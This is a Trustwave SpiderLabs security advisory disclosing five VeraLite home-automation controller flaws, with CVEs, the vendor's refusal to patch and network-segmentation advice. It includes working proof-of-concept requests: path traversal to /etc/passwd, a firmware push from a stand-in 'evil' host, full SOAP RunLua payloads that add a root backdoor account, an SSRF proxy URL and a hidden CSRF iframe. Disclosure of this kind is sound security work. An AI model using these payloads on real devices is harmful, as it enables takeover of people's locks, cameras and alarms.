MiCasaVerde VeraLite 1.5.408 Traversal / Authorization / CSRF / Disclosure

`Trustwave SpiderLabs Security Advisory TWSL2013-019:  
Multiple Vulnerabilities in MiCasaVerde VeraLite  
  
Published: 08/01/13  
Version: 1.0  
  
Vendor: MiCasaVerde (http://www.micasaverde.com/)  
Product: VeraLite  
Version affected: 1.5.408  
  
Product description:  
The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product  
which centralizes control over home automation devices such as door locks,  
window blinds, security cameras, smoke detectors, HVAC systems, lights,  
etc.  
  
Finding 1: Path Traversal  
*****Credit: Daniel Crowley of Trustwave SpiderLabs  
CVE: CVE-2013-4861  
CWE: CWE-23  
  
The VeraLite has a path traversal vulnerability allowing for disclosure of  
arbitrary files. This allows an attacker to retrieve the contents of any  
file on the system such as the /etc/passwd file which contains the hashed  
root password as well as the tech support remote access password if remote  
access has been configured.  
  
A proof of concept can be run against a VeraLite by using the following URL:  
GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd  
  
On a newly unboxed VeraLite, this shouldn't work as the first part of the  
path used by the script doesn't exist, but the directory which must exist  
for exploitation to work correctly can be created by using the  
store_file.sh script, like so:  
  
GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test  
  
This attack can also be launched through the Internet-based control panel  
at cp.mios.com when logged in as either an admin or guest level account.  
  
Finding 2: Insufficient Authorization Checks  
*****Credit: Daniel Crowley of Trustwave SpiderLabs  
CVE: CVE-2013-4862  
CWE: CWE-285  
  
The VeraLite makes a distinction between Administrator and Guest users such  
that Guest users should not be able to make changes to the configuration of  
the system. There are several functionalities included in the VeraLite  
console available to Guest level users which can be used to escalate  
privileges.  
  
A) Firmware update - This allows a guest to push custom firmware to the  
unit and can allow for full compromise of the device.  
  
A proof of concept can be seen using the following URL:  
GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs  
  
B) Settings backup - This allows a guest to obtain copies of various  
sensitive files, including the lighttpd.users file which contains hashed  
cp.mios.com passwords, and the passwd file which contains the hashed root  
password.  
  
GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1  
  
C) Test Luup code (Lua) - This allows a guest to run Lua code on the  
VeraLite as root. A backdoor account can be added with the following POST  
request:  
  
POST /port_49451/upnp/control/hag HTTP/1.1  
Host: A.B.C.D  
Accept: text/javascript, text/html, application/xml, text/xml, */*  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.7  
Content-Type: text/xml;charset=UTF-8  
MIME-Version: 1.0  
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"  
Content-Length: 311  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code> </u:RunLua></s:Body></s:Envelope>  
  
  
Finding 3: Insufficient Authentication Checks  
*****Credit: Daniel Crowley of Trustwave SpiderLabs  
CVE: CVE-2013-4863  
CWE: CWE-287  
  
The VeraLite exposes UPnP functionality which allows for Lua code to be run  
as root from the LAN without authentication using the RunLua action in the  
HomeAutomationGateway service of the HomeAutomationGateway device. A  
backdoor account can be added with the following POST request to port  
49451:  
  
POST /upnp/control/hag HTTP/1.1  
Host: A.B.C.D:49451  
Accept: text/javascript, text/html, application/xml, text/xml, */*  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.7  
Content-Type: text/xml;charset=UTF-8  
MIME-Version: 1.0  
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"  
Content-Length: 311  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code> </u:RunLua></s:Body></s:Envelope>  
  
Finding 4: Server-Side Request Forgery  
*****Credit: Daniel Crowley of Trustwave SpiderLabs  
CVE: CVE-2013-4864  
CWE: CWE-918  
  
The VeraLite will make HTTP requests on behalf of a user using the  
/cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of  
trustwave.com is as follows:  
  
GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com  
  
This allows an attacker to bypass firewall controls, use the VeraLite as a proxy  
  
  
Finding 5: Cross-Site Request Forgery  
*****Credit: Daniel Crowley of Trustwave SpiderLabs  
CVE: CVE-2013-4865  
CWE: CWE-352  
  
The VeraLite does not implement any defense against cross-site request  
forgery. A proof of concept as seen below can cause a Vera user to update  
their firmware using a custom firmware URL:  
  
<html>  
<body>  
<iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1">  
</iframe>  
</body>  
</html>  
  
If this PoC was embedded in any web page a targeted user visited, an  
attacker would be able to make arbitrary changes to the firmware on the  
device, allowing the potential for remote root access.  
  
Vendor Response:  
"...the "vulnerabilities" you referred to were deliberate design decisions  
because that's what the customers in this particular channel (ie Vera  
retail) want. As you can see we have an open forum to discuss this, and  
very people object to leaving Vera open. So we are not able to lock down  
the gateway, and effectively break the systems of many customers who rely  
on the open system to run their own scripts and plugins."  
  
Remediation Steps:  
No official patch is available. To limit exposure,  
network access to these devices should be limited to authorized  
personnel through the use of access control lists and proper  
network segmentation.  
  
Revision History:  
04/23/13 - Vulnerability disclosed to vendor  
06/04/13 - Vendor confirms they will not fix  
08/01/13 - Advisory published  
  
  
References  
1. http://www.micasaverde.com/  
  
  
About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit https://www.trustwave.com  
  
About Trustwave SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
Disclaimer:  
The information provided in this advisory is provided "as is" without  
warranty of any kind. Trustwave disclaims all warranties, either express or  
implied, including the warranties of merchantability and fitness for a  
particular purpose. In no event shall Trustwave or its suppliers be liable  
for any damages whatsoever including direct, indirect, incidental,  
consequential, loss of business profits or special damages, even if  
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